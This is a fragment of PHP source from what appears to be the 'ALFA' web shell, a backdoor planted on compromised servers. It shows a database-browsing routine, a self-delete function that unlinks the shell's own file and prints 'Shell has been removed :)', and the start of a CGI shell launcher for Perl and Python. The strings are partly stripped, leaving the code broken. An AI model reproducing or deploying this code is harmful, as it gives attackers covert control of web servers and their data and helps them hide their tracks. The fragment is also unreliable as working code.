$col_key = @mysqli_query($conn, "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = '".@addslashes($db["db"])."' AND TABLE_NAME = '".@addslashes($db["table"])."' AND COLUMN_KEY = 'PRI'");
if($col_key){
$col_key = @mysqli_fetch_row($col_key);
$col_key = $col_key[0];
if(!empty($col_key)){
$tbl_content = 'Delete Selected Rows
';
if(!$title){
$tbl_content = "Table is empty...
";
}
echo @json_encode(array("status" => true, "table" => $tbl_content, "columns" => $columns, "pages" => $pages, "query" => $query));
}
@mysqli_close($conn);
}
}
function alfaselfrm(){
if(isset($_POST['alfa1'])&&$_POST['alfa1']=='yes'){
echo(__pre().'');
if(@unlink($GLOBALS['__file_path'])){
echo('Shell has been removed :) ');
}else{
echo 'unlink error!';
}
echo(' ');
}
if(isset($_POST['alfa1'])&&$_POST['alfa1']!='yes'){
echo "';
}
}
function alfacgishell(){
alfahead();
$div = "";
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
if(!in_array($_POST['alfa1'],array('perl','py'))){
$div = "";
echo '